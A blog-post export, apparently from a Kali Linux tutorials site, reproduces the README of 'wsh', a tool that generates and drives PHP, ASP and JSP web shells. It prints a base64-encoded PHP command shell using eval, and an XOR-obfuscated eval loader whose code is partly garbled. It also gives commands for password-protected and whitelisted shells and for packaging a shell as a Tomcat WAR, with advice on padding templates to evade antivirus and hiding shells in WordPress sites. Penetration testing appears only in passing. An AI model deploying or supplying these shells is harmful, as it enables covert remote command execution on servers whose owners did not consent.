{"id":17474,"date":"2021-08-16T16:38:36","date_gmt":"2021-08-16T11:08:36","guid":{"rendered":"https:\/\/kalilinuxtutorials.com\/?p=15905"},"modified":"2021-08-16T16:38:36","modified_gmt":"2021-08-16T11:08:36","slug":"wsh","status":"publish","type":"post","link":"https:\/\/kalilinuxtutorials.com\/wsh\/","title":{"rendered":"Wsh : Web Shell Generator And Command Line Interface"},"content":{"rendered":"\n<p><strong>wsh<\/strong> (pronounced woosh) is a web shell generator and command line interface. This started off as just an http client since interacting with webshells is a pain. There&#8217;s a form, to send a command you have to type in an input box and press a button. I wanted something that fits into my workflow better and ran in the terminal. Thus wsh was born.<\/p>\n\n\n\n<p>The client features command history, logging, and can be configured to interact with a previously deployed standard webshell with a form\/button. The generator creates webshells in php, asp, and jsp. They are generated with random variables, so each will have a unique hash. They can be configured with a whitelist, passwords, and allow commands to be sent over custom headers and parameters. The generator and client can be configured through command line flags or configuration files to allow for saving a setup that works for you without doing what I call the &#8220;&#8211;help&#8221; dance. Once configured, the client and generator use the same config file.<\/p>\n\n\n\n<p class=\"has-text-align-center has-vivid-green-cyan-background-color has-background\"><a href=\"https:\/\/github.com\/EatonChips\/wsh#features\"><\/a><strong>Features<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Interact with deployed web shells via the command line<ul><li>Logging<\/li><\/ul><\/li><li>Generate webshells in PHP, JSP, and ASP<ul><li>IP whitelisting<\/li><li>Password protection<\/li><li>Send commands over custom headers\/parameters<\/li><li>File upload \/ download<\/li><li>Base64 encoded shells for asp and php<\/li><li>XOR encrypted shells for asp and php<\/li><\/ul><\/li><\/ul>\n\n\n\n<p class=\"has-text-align-center has-vivid-green-cyan-background-color has-background\"><a href=\"https:\/\/github.com\/EatonChips\/wsh#usage\"><\/a><strong>Usage<\/strong><\/p>\n\n\n\n<p class=\"has-light-green-cyan-background-color has-background\"><strong>Connect<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-green-cyan-color has-black-background-color has-text-color has-background\"><strong>wsh [flags]<br>-X, &#8211;method string HTTP method: GET, POST, PUT, PATCH, DELETE (default &#8220;GET&#8221;)<br>&#8211;param string Parameter for sending command<br>&#8211;header string Header for sending command<br>-P, &#8211;params strings HTTP request parameters<br>-H, &#8211;headers strings HTTP request headers<br>-c, &#8211;config string Config file<br>-k, &#8211;ignore-ssl Ignore invalid certs<br>&#8211;log string Log file<br>&#8211;prefix string Prepend command: &#8216;cmd \/c&#8217;, &#8216;powershell.exe&#8217;, &#8216;bash&#8217;<br>&#8211;timeout int Request timeout in seconds (default 10)<br>&#8211;trim-prefix string Trim output prefix<br>&#8211;trim-suffix string Trim output suffix<br>-h, &#8211;help help for wsh<\/strong><\/p>\n\n\n\n<p class=\"has-light-green-cyan-background-color has-background\"><strong>Generate<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-green-cyan-color has-black-background-color has-text-color has-background\"><strong>wsh generate [flags]<br>wsh g [flags]<br>-X, &#8211;method string HTTP method (GET,POST,PUT,PATCH,DELETE) (default &#8220;GET&#8221;)<br>-p, &#8211;param string Parameter for sending command<br>&#8211;header string Header for sending command<br>-w, &#8211;whitelist strings IP addresses to whitelist<br>-o, &#8211;outfile string Output file<br>&#8211;no-file Disable file upload\/download capabilities<br>&#8211;pass string Password protect shell<br>&#8211;pass-header string Header for sending password<br>&#8211;pass-param string Parameter for sending password<br>&#8211;xor-header string Header for sending xor key<br>&#8211;xor-key string Key for xor encryption<br>&#8211;xor-param string Parameter for sending xor key<br>&#8211;base64 Base64 encode shell<br>&#8211;minify Minify webshell code<br>-t, &#8211;template string Webshell template file<br>-h, &#8211;help help for generate<\/strong><\/p>\n\n\n\n<p class=\"has-light-green-cyan-background-color has-background\"><strong>Client usage \/ File IO<\/strong><\/p>\n\n\n\n<p>I wanted the client to be language agnostic, so all webshells needed to implement the same upload\/download logic. Unfortunately it is a pain to do multipart form uploads natively in jsp and classic asp, so files are uploaded as base64 in a parameter. This is not ideal as the max file upload size is limited to the maximum parameter size. In the future I may try and implement multipart form uploads, or do multiple requests to transfer larger files.<\/p>\n\n\n\n<p class=\"has-vivid-green-cyan-color has-black-background-color has-text-color has-background\"><strong>$ wsh 127.0.0.1:8080\/test.php &#8211;param cmd<br>127.0.0.1&gt; help<br>get [local filepath] Download file<br>put [remote filepath] Upload file<br>clear Clear screen<br>exit Exits shell<\/strong><\/p>\n\n\n\n<p class=\"has-text-align-center has-vivid-green-cyan-background-color has-background\"><strong>Generator Examples<\/strong><\/p>\n\n\n\n<p class=\"has-light-green-cyan-background-color has-background\"><strong>Simple Shells<\/strong><\/p>\n\n\n\n<p>The following commands generates and interacts with a simple php web shell.<\/p>\n\n\n\n<p class=\"has-vivid-green-cyan-color has-black-background-color has-text-color has-background\"><strong>$ wsh generate php &#8211;param cmd &#8211;no-file -o shell.php<br>Created shell at shell.php.<br>$ wsh 127.0.0.1:8080\/shell.php &#8211;param cmd<\/strong><\/p>\n\n\n\n<p>Commands can also be sent over http headers<\/p>\n\n\n\n<p class=\"has-vivid-green-cyan-color has-black-background-color has-text-color has-background\"><strong>$ wsh generate php &#8211;no-file &#8211;header user-agent -o shell.php<br>Created shell at shell.php.<br>$ wsh 127.0.0.1:8080\/shell.php &#8211;header user-agent<\/strong><\/p>\n\n\n\n<p class=\"has-light-green-cyan-background-color has-background\"><strong>Whitelisting<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-green-cyan-color has-black-background-color has-text-color has-background\"><strong>$ wsh generate php &#8211;no-file &#8211;param cmd -w 127.0.0.1,10.0.23.3 -w 12.4.22.3 -o shell.php<\/strong><\/p>\n\n\n\n<p class=\"has-light-green-cyan-background-color has-background\"><strong>Password Protection<\/strong><\/p>\n\n\n\n<p>Passwords can be sent over parameters or headers.<\/p>\n\n\n\n<p class=\"has-vivid-green-cyan-color has-black-background-color has-text-color has-background\"><strong>$ wsh generate php &#8211;no-file &#8211;param cmd &#8211;pass S3cr3t &#8211;pass-param pass<br>$ wsh 127.0.0.1:8080\/shell.php &#8211;param cmd -P pass:S3cr3t<br>$ wsh generate php &#8211;no-file &#8211;param cmd &#8211;pass S3cr3t &#8211;pass-header pass-header<br>$ wsh 127.0.0.1:8080\/shell.php &#8211;param cmd -H pass-header:S3cr3t<\/strong><\/p>\n\n\n\n<p class=\"has-light-green-cyan-background-color has-background\"><strong>Base64 \/ XOR encryption<\/strong><\/p>\n\n\n\n<p>This functionality is interesting, but may require some modification of the templates to be made useful. In the case of asp and jsp, the libraries that facilitate decoding base64 are known IOCs and will get flagged. If you are interested in using these functionalities I&#8217;d recommend modifying the template and obfuscating.<\/p>\n\n\n\n<p>Same as password protection, the xor key can be sent over a parameter or a header.<\/p>\n\n\n\n<p class=\"has-vivid-green-cyan-color has-black-background-color has-text-color has-background\">$ <strong>wsh g php &#8211;param cmd &#8211;no-file &#8211;base64<br>&lt;? php<br>eval(base64_decode(&#8216;JEZISENTPSRfUkVRVUVTVFsnY21kJ107JEZISENTPXRyaW0oJEZISENTKTtzeXN0ZW0oJEZISENTKTtkaWU7&#8217;))?&gt;<br>$wsh g php &#8211;param cmd &#8211;no-file &#8211;xor-key S3cr3tK3y &#8211;xor-param X-Key<br>php&lt;?<br>$KHhx =$ _REQUEST[&#8220;X-Key&#8221;];<br>$LqC = base64_decode(&#8220;d2MPPUdJb2wrFmI2N2AgEBQaPldELwhQG182Jw4XAFoZYxcpP3wXWwgHMkANNl5LVmMYBEdQaFcKFwg=&#8221;);<br>$oooqt = &#8220;&#8221;;<br>for($YpuI=0; $YpuI&lt;strlen($LqC); ) {<br>for($cMq=0; ($Mq&lt;strlen($KHhx) &amp;&amp; $YpuI&lt;strlen($LqC)); cMq++$,YpuI++) {<br>$oooqt .= $LqC{$ YpuI } ^ $KHhx{ $cMq };<br>}<br>}<br>eval($oooqt);<\/strong><\/p>\n\n\n\n<p class=\"has-light-green-cyan-background-color has-background\"><strong>Tomcat Shells<\/strong><\/p>\n\n\n\n<p>To generate a webshell which can be deployed to tomcat, create a jsp shell named index.jsp and run the command below to zip it into a war file.<\/p>\n\n\n\n<p>Occasionally, the tomcat environment does not have the libraries required for file upload\/download and the shell will error when a request is made. To remediate this, use the&nbsp;<code><strong>--no-file<\/strong><\/code>&nbsp;flag.<\/p>\n\n\n\n<p class=\"has-vivid-green-cyan-color has-black-background-color has-text-color has-background\"><strong>$ wsh g jsp &#8211;param cmd &#8211;no-file -o index.jsp<br>$ jar -cvf shell.war index.jsp<\/strong><\/p>\n\n\n\n<p class=\"has-text-align-center has-vivid-green-cyan-background-color has-background\"><strong>Templates<\/strong><\/p>\n\n\n\n<p>Using the go template library adds alot of flexibility to the generator. Occasionally a webshell will get caught by AV however, I have found that adding in a bunch of random code in the template file will often make the shell look benign enough to allow it to persist on the disk. I have included an example in the templates\/covert-php.tml file.<\/p>\n\n\n\n<p>Additionally, you can modify these templates to include your name\/contact information for attribution in the use case of a penetration test.<\/p>\n\n\n\n<p class=\"has-text-align-center has-vivid-green-cyan-background-color has-background\"><a href=\"https:\/\/github.com\/EatonChips\/wsh#client-functionality\"><\/a><strong>Client Functionality<\/strong><\/p>\n\n\n\n<p class=\"has-light-green-cyan-background-color has-background\"><a href=\"https:\/\/github.com\/EatonChips\/wsh#prefix\"><\/a><strong>Prefix<\/strong><\/p>\n\n\n\n<p>A prefix can be specified to prepend a string to each command sent to the shell. This can be used to turn a normal cmd shell into a powershell shell.<\/p>\n\n\n\n<p class=\"has-vivid-green-cyan-color has-black-background-color has-text-color has-background\"><strong>$ wsh http:\/\/10.0.0.27\/shell.asp &#8211;param cmd &#8211;prefix powershell.exe<br>10.0.0.27&gt; ls<br>Directory: C:\\windows\\system32\\inetsrv<br>Mode LastWriteTime Length Name<br>&#8212;- &#8212;&#8212;&#8212;&#8212;- &#8212;&#8212; &#8212;-<br>d&#8212;&#8211; 5\/27\/2020 11:49 PM config<br>d&#8212;&#8211; 5\/27\/2020 11:49 PM en<br>d&#8212;&#8211; 5\/28\/2020 12:25 AM en-US<br>-a&#8212;- 5\/27\/2020 11:49 PM 119808 appcmd.exe<\/strong><\/p>\n\n\n\n<p class=\"has-light-green-cyan-background-color has-background\"><strong>Logging<\/strong><\/p>\n\n\n\n<p>Logs are timestamped and include the host being interacted with. Log files are appended, so feel free to use the same log file for multiple sessions\/hosts.<\/p>\n\n\n\n<p class=\"has-vivid-green-cyan-color has-black-background-color has-text-color has-background\"><strong>127.0.0.1:8080\/shell.php &#8211;param cmd &#8211;log localhost.log<br>Logging to: localhost.log<br>127.0.0.1&gt; ls<br>README.md<br>cmd<br>example-configs<br>\u2026<br>[04\/20\/2020 12:02:17] 127.0.0.1&gt; ls<br>README.md<br>cmd<br>example-configs<\/strong><\/p>\n\n\n\n<p class=\"has-light-green-cyan-background-color has-background\"><strong>Trim prefix\/suffix<\/strong><\/p>\n\n\n\n<p>The client can be configured to trim extraneous html content from a request, this is useful when interacting with standard html interface webshells, or maybe if a generated shell is sneakily embedded in a wordpress installation.<\/p>\n\n\n\n<p class=\"has-vivid-green-cyan-color has-black-background-color has-text-color has-background\">$<strong>wsh 127.0.0.1:8080\/index.php -X POST &#8211;param cmd<br>127.0.0.1&gt; ls<br>&lt;div class=&#8221;pb-2 mt-4 mb-2&#8243;&gt;<br>&lt;h2&gt; Output &lt;\/h2&gt;<br>&lt;\/div&gt;<br>&lt;pre&gt;<br>README.md<br>cmd<br>example-configs<br>index.php<br>main.go<br>templates<br>&lt;\/pre&gt;<br>&lt;\/div&gt;<br>$wsh 127.0.0.1:8080\/index.php -X POST &#8211;param cmd &#8211;trim-prefix &#8216;<br>&#8216; &#8211;trim-suffix &#8216;<br>&#8216;<br>127.0.0.1&gt; ls<br>README.md<br>cmd<br>example-configs<br>index.php<br>main.go<br>templates<\/strong><\/p>\n\n\n\n<div class=\"wp-block-buttons is-content-justification-center is-layout-flex wp-block-buttons-is-layout-flex\">\n<div class=\"wp-block-button is-style-outline is-style-outline--1\"><a class=\"wp-block-button__link has-vivid-cyan-blue-background-color has-background\" href=\"https:\/\/github.com\/EatonChips\/wsh\"><strong>Download<\/strong><\/a><\/div>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>wsh (pronounced woosh) is a web shell generator and command line interface. This started off as just an http client since interacting with webshells is a pain. There&#8217;s a form, to send a command you have to type in an input box and press a button. I wanted something that fits into my workflow better [&hellip;]<\/p>\n","protected":false},"author":4,"featured_media":15929,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"https:\/\/1.bp.blogspot.com\/-qSWHoSNugTQ\/YRSiErw555I\/AAAAAAAAKco\/DSR98mLrDzMzExioml66Jm9XaE2uApidACLcBGAsYHQ\/s1002\/12%2B%25281%2529.png","fifu_image_alt":"Wsh : Web Shell Generator And Command Line Interface","_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[28],"tags":[4013,4014,4015],"class_list":["post-17474","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-kali","tag-command-line-interface","tag-web-shell-generator","tag-wsh"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Wsh : Web Shell Generator And Command Line Interface<\/title>\n<meta name=\"description\" content=\"wsh is a web shell generator and command line interface. This started off as just an http client since interacting with webshells is a pain.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/kalilinuxtutorials.com\/wsh\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Wsh : Web Shell Generator And Command Line Interface\" \/>\n<meta property=\"og:description\" content=\"wsh is a web shell generator and command line interface. This started off as just an http client since interacting with webshells is a pain.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/kalilinuxtutorials.com\/wsh\/\" \/>\n<meta property=\"og:site_name\" content=\"Kali Linux Tutorials\" \/>\n<meta property=\"article:published_time\" content=\"2021-08-16T11:08:36+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/1.bp.blogspot.com\/-qSWHoSNugTQ\/YRSiErw555I\/AAAAAAAAKco\/DSR98mLrDzMzExioml66Jm9XaE2uApidACLcBGAsYHQ\/s1002\/12%2B%25281%2529.png\" \/><meta property=\"og:image\" content=\"https:\/\/1.bp.blogspot.com\/-qSWHoSNugTQ\/YRSiErw555I\/AAAAAAAAKco\/DSR98mLrDzMzExioml66Jm9XaE2uApidACLcBGAsYHQ\/s1002\/12%2B%25281%2529.png\" \/>\n\t<meta property=\"og:image:width\" content=\"1\" \/>\n\t<meta property=\"og:image:height\" content=\"1\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"R K\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:image\" content=\"https:\/\/1.bp.blogspot.com\/-qSWHoSNugTQ\/YRSiErw555I\/AAAAAAAAKco\/DSR98mLrDzMzExioml66Jm9XaE2uApidACLcBGAsYHQ\/s1002\/12%2B%25281%2529.png\" \/>\n<meta name=\"twitter:creator\" content=\"@CyberEdition\" \/>\n<meta name=\"twitter:site\" content=\"@CyberEdition\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"R K\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/kalilinuxtutorials.com\/wsh\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/kalilinuxtutorials.com\/wsh\/\"},\"author\":{\"name\":\"R K\",\"@id\":\"https:\/\/kalilinuxtutorials.com\/#\/schema\/person\/69444b58b9e267a4cf08fceb34b6f6ad\"},\"headline\":\"Wsh : Web Shell Generator And Command Line Interface\",\"datePublished\":\"2021-08-16T11:08:36+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/kalilinuxtutorials.com\/wsh\/\"},\"wordCount\":1131,\"publisher\":{\"@id\":\"https:\/\/kalilinuxtutorials.com\/#organization\"},\"image\":{\"@id\":\"https:\/\/kalilinuxtutorials.com\/wsh\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/1.bp.blogspot.com\/-1GpemRb6YXo\/XdBVAppVHsI\/AAAAAAAADc8\/1D_01PUiDAQ1voKm8C5XLgC4xL_GFrvyQCLcBGAsYHQ\/s1600\/RC%2B%25281%2529.png\",\"keywords\":[\"Command Line Interface\",\"Web Shell Generator\",\"Wsh\"],\"articleSection\":[\"Kali Linux\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/kalilinuxtutorials.com\/wsh\/\",\"url\":\"https:\/\/kalilinuxtutorials.com\/wsh\/\",\"name\":\"Wsh : Web Shell Generator And Command Line Interface\",\"isPartOf\":{\"@id\":\"https:\/\/kalilinuxtutorials.com\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/kalilinuxtutorials.com\/wsh\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/kalilinuxtutorials.com\/wsh\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/1.bp.blogspot.com\/-1GpemRb6YXo\/XdBVAppVHsI\/AAAAAAAADc8\/1D_01PUiDAQ1voKm8C5XLgC4xL_GFrvyQCLcBGAsYHQ\/s1600\/RC%2B%25281%2529.png\",\"datePublished\":\"2021-08-16T11:08:36+00:00\",\"description\":\"wsh is a web shell generator and command line interface. This started off as just an http client since interacting with webshells is a pain.\",\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/kalilinuxtutorials.com\/wsh\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/kalilinuxtutorials.com\/wsh\/#primaryimage\",\"url\":\"https:\/\/1.bp.blogspot.com\/-1GpemRb6YXo\/XdBVAppVHsI\/AAAAAAAADc8\/1D_01PUiDAQ1voKm8C5XLgC4xL_GFrvyQCLcBGAsYHQ\/s1600\/RC%2B%25281%2529.png\",\"contentUrl\":\"https:\/\/1.bp.blogspot.com\/-1GpemRb6YXo\/XdBVAppVHsI\/AAAAAAAADc8\/1D_01PUiDAQ1voKm8C5XLgC4xL_GFrvyQCLcBGAsYHQ\/s1600\/RC%2B%25281%2529.png\"},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/kalilinuxtutorials.com\/#website\",\"url\":\"https:\/\/kalilinuxtutorials.com\/\",\"name\":\"Kali Linux Tutorials\",\"description\":\"Kali Linux Tutorials\",\"publisher\":{\"@id\":\"https:\/\/kalilinuxtutorials.com\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/kalilinuxtutorials.com\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/kalilinuxtutorials.com\/#organization\",\"name\":\"Kali Linux Tutorials\",\"url\":\"https:\/\/kalilinuxtutorials.com\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/kalilinuxtutorials.com\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/kalilinuxtutorials.com\/wp-content\/uploads\/2025\/07\/Kali.png\",\"contentUrl\":\"https:\/\/kalilinuxtutorials.com\/wp-content\/uploads\/2025\/07\/Kali.png\",\"width\":272,\"height\":90,\"caption\":\"Kali Linux Tutorials\"},\"image\":{\"@id\":\"https:\/\/kalilinuxtutorials.com\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/x.com\/CyberEdition\",\"https:\/\/www.threads.com\/@cybersecurityedition\",\"https:\/\/www.linkedin.com\/company\/cyberedition\",\"https:\/\/www.instagram.com\/cybersecurityedition\/\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/kalilinuxtutorials.com\/#\/schema\/person\/69444b58b9e267a4cf08fceb34b6f6ad\",\"name\":\"R K\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/kalilinuxtutorials.com\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/d3937c9687f2da11bc0a716404ff91779fe19ca115208dbf66167ad353aca5aa?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/d3937c9687f2da11bc0a716404ff91779fe19ca115208dbf66167ad353aca5aa?s=96&d=mm&r=g\",\"caption\":\"R K\"},\"url\":\"https:\/\/kalilinuxtutorials.com\/author\/ranjith\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Wsh : Web Shell Generator And Command Line Interface","description":"wsh is a web shell generator and command line interface. This started off as just an http client since interacting with webshells is a pain.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/kalilinuxtutorials.com\/wsh\/","og_locale":"en_US","og_type":"article","og_title":"Wsh : Web Shell Generator And Command Line Interface","og_description":"wsh is a web shell generator and command line interface. This started off as just an http client since interacting with webshells is a pain.","og_url":"https:\/\/kalilinuxtutorials.com\/wsh\/","og_site_name":"Kali Linux Tutorials","article_published_time":"2021-08-16T11:08:36+00:00","og_image":[{"url":"https:\/\/1.bp.blogspot.com\/-qSWHoSNugTQ\/YRSiErw555I\/AAAAAAAAKco\/DSR98mLrDzMzExioml66Jm9XaE2uApidACLcBGAsYHQ\/s1002\/12%2B%25281%2529.png","type":"","width":"","height":""},{"url":"https:\/\/1.bp.blogspot.com\/-qSWHoSNugTQ\/YRSiErw555I\/AAAAAAAAKco\/DSR98mLrDzMzExioml66Jm9XaE2uApidACLcBGAsYHQ\/s1002\/12%2B%25281%2529.png","width":1,"height":1,"type":"image\/jpeg"}],"author":"R K","twitter_card":"summary_large_image","twitter_image":"https:\/\/1.bp.blogspot.com\/-qSWHoSNugTQ\/YRSiErw555I\/AAAAAAAAKco\/DSR98mLrDzMzExioml66Jm9XaE2uApidACLcBGAsYHQ\/s1002\/12%2B%25281%2529.png","twitter_creator":"@CyberEdition","twitter_site":"@CyberEdition","twitter_misc":{"Written by":"R K","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/kalilinuxtutorials.com\/wsh\/#article","isPartOf":{"@id":"https:\/\/kalilinuxtutorials.com\/wsh\/"},"author":{"name":"R K","@id":"https:\/\/kalilinuxtutorials.com\/#\/schema\/person\/69444b58b9e267a4cf08fceb34b6f6ad"},"headline":"Wsh : Web Shell Generator And Command Line Interface","datePublished":"2021-08-16T11:08:36+00:00","mainEntityOfPage":{"@id":"https:\/\/kalilinuxtutorials.com\/wsh\/"},"wordCount":1131,"publisher":{"@id":"https:\/\/kalilinuxtutorials.com\/#organization"},"image":{"@id":"https:\/\/kalilinuxtutorials.com\/wsh\/#primaryimage"},"thumbnailUrl":"https:\/\/1.bp.blogspot.com\/-1GpemRb6YXo\/XdBVAppVHsI\/AAAAAAAADc8\/1D_01PUiDAQ1voKm8C5XLgC4xL_GFrvyQCLcBGAsYHQ\/s1600\/RC%2B%25281%2529.png","keywords":["Command Line Interface","Web Shell Generator","Wsh"],"articleSection":["Kali Linux"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/kalilinuxtutorials.com\/wsh\/","url":"https:\/\/kalilinuxtutorials.com\/wsh\/","name":"Wsh : Web Shell Generator And Command Line Interface","isPartOf":{"@id":"https:\/\/kalilinuxtutorials.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/kalilinuxtutorials.com\/wsh\/#primaryimage"},"image":{"@id":"https:\/\/kalilinuxtutorials.com\/wsh\/#primaryimage"},"thumbnailUrl":"https:\/\/1.bp.blogspot.com\/-1GpemRb6YXo\/XdBVAppVHsI\/AAAAAAAADc8\/1D_01PUiDAQ1voKm8C5XLgC4xL_GFrvyQCLcBGAsYHQ\/s1600\/RC%2B%25281%2529.png","datePublished":"2021-08-16T11:08:36+00:00","description":"wsh is a web shell generator and command line interface. This started off as just an http client since interacting with webshells is a pain.","inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/kalilinuxtutorials.com\/wsh\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/kalilinuxtutorials.com\/wsh\/#primaryimage","url":"https:\/\/1.bp.blogspot.com\/-1GpemRb6YXo\/XdBVAppVHsI\/AAAAAAAADc8\/1D_01PUiDAQ1voKm8C5XLgC4xL_GFrvyQCLcBGAsYHQ\/s1600\/RC%2B%25281%2529.png","contentUrl":"https:\/\/1.bp.blogspot.com\/-1GpemRb6YXo\/XdBVAppVHsI\/AAAAAAAADc8\/1D_01PUiDAQ1voKm8C5XLgC4xL_GFrvyQCLcBGAsYHQ\/s1600\/RC%2B%25281%2529.png"},{"@type":"WebSite","@id":"https:\/\/kalilinuxtutorials.com\/#website","url":"https:\/\/kalilinuxtutorials.com\/","name":"Kali Linux Tutorials","description":"Kali Linux Tutorials","publisher":{"@id":"https:\/\/kalilinuxtutorials.com\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/kalilinuxtutorials.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/kalilinuxtutorials.com\/#organization","name":"Kali Linux Tutorials","url":"https:\/\/kalilinuxtutorials.com\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/kalilinuxtutorials.com\/#\/schema\/logo\/image\/","url":"https:\/\/kalilinuxtutorials.com\/wp-content\/uploads\/2025\/07\/Kali.png","contentUrl":"https:\/\/kalilinuxtutorials.com\/wp-content\/uploads\/2025\/07\/Kali.png","width":272,"height":90,"caption":"Kali Linux Tutorials"},"image":{"@id":"https:\/\/kalilinuxtutorials.com\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/x.com\/CyberEdition","https:\/\/www.threads.com\/@cybersecurityedition","https:\/\/www.linkedin.com\/company\/cyberedition","https:\/\/www.instagram.com\/cybersecurityedition\/"]},{"@type":"Person","@id":"https:\/\/kalilinuxtutorials.com\/#\/schema\/person\/69444b58b9e267a4cf08fceb34b6f6ad","name":"R K","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/kalilinuxtutorials.com\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/d3937c9687f2da11bc0a716404ff91779fe19ca115208dbf66167ad353aca5aa?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/d3937c9687f2da11bc0a716404ff91779fe19ca115208dbf66167ad353aca5aa?s=96&d=mm&r=g","caption":"R K"},"url":"https:\/\/kalilinuxtutorials.com\/author\/ranjith\/"}]}},"jetpack_featured_media_url":"https:\/\/1.bp.blogspot.com\/-1GpemRb6YXo\/XdBVAppVHsI\/AAAAAAAADc8\/1D_01PUiDAQ1voKm8C5XLgC4xL_GFrvyQCLcBGAsYHQ\/s1600\/RC%2B%25281%2529.png","jetpack_sharing_enabled":true,"jetpack-related-posts":[{"id":36547,"url":"https:\/\/kalilinuxtutorials.com\/byob\/","url_meta":{"origin":17474,"position":0},"title":"BYOB : Exploring The Educational And Ethical Dimensions Of Building Your Own Botnet","author":"Varshini","date":"February 19, 2025","format":false,"excerpt":"BYOB (Build Your Own Botnet) is an open-source post-exploitation framework designed primarily for educational and research purposes. It enables students, researchers, and developers to explore cybersecurity concepts by providing a customizable platform for creating and managing post-exploitation tools. However, its potential misuse highlights the importance of ethical use and security\u2026","rel":"","context":"In &quot;Cyber security&quot;","block_context":{"text":"Cyber security","link":"https:\/\/kalilinuxtutorials.com\/category\/cyber-security\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/kalilinuxtutorials.com\/wp-content\/uploads\/2025\/02\/BYOB-.webp?resize=350%2C200&ssl=1","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/kalilinuxtutorials.com\/wp-content\/uploads\/2025\/02\/BYOB-.webp?resize=350%2C200&ssl=1 1x, https:\/\/i0.wp.com\/kalilinuxtutorials.com\/wp-content\/uploads\/2025\/02\/BYOB-.webp?resize=525%2C300&ssl=1 1.5x, https:\/\/i0.wp.com\/kalilinuxtutorials.com\/wp-content\/uploads\/2025\/02\/BYOB-.webp?resize=700%2C400&ssl=1 2x, https:\/\/i0.wp.com\/kalilinuxtutorials.com\/wp-content\/uploads\/2025\/02\/BYOB-.webp?resize=1050%2C600&ssl=1 3x, https:\/\/i0.wp.com\/kalilinuxtutorials.com\/wp-content\/uploads\/2025\/02\/BYOB-.webp?resize=1400%2C800&ssl=1 4x"},"classes":[]},{"id":12361,"url":"https:\/\/kalilinuxtutorials.com\/reverse-shell-generator\/","url_meta":{"origin":17474,"position":1},"title":"Reverse Shell Generator : Hosted Reverse Shell Generator With A Ton Of Functionality","author":"R K","date":"March 23, 2021","format":false,"excerpt":"Hosted Reverse Shell generator with a ton of functionality. Features Generate common listeners and reverse shellsRaw mode to cURL shells to your machine.Button to increment the listening port number by 1URI and Base64 encodingLocalStorage to persist your configurationDark and 